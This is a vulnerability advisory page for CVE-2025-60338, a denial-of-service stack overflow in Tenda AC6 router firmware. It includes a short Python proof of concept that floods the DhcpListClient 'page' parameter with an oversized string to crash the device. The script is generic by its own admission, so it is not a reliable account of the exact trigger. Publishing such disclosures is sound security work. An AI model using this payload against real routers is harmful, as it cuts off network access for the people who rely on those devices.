Security Vulnerability Report
中文
CVE-2025-60338 CVSS 7.5 HIGH

CVE-2025-60338

Published: 2025-10-22 16:15:45
Last Modified: 2025-10-23 17:15:40

Description

Tenda AC6 V2.0 15.03.06.50 was discovered to contain a stack overflow in the page parameter in the DhcpListClient function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac6_firmware:15.03.06.50:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac6:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC6 V2.0 firmware 15.03.06.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-60338 PoC - Tenda AC6 V2.0 DhcpListClient Stack Overflow # Target: Tenda AC6 V2.0 Router # Vulnerability: Stack overflow in page parameter of DhcpListClient function target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 # Construct malicious payload with oversized page parameter # The overflow triggers when page parameter exceeds expected buffer size payload = "A" * 2000 # Adjust length based on actual vulnerable buffer url = f"http://{target_ip}:{target_port}/cgi-bin/DhcpListClient" params = { "page": payload # Vulnerable parameter causing stack overflow } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.get(url, params=params, timeout=5) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Exploit sent - Target may be crashed") print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
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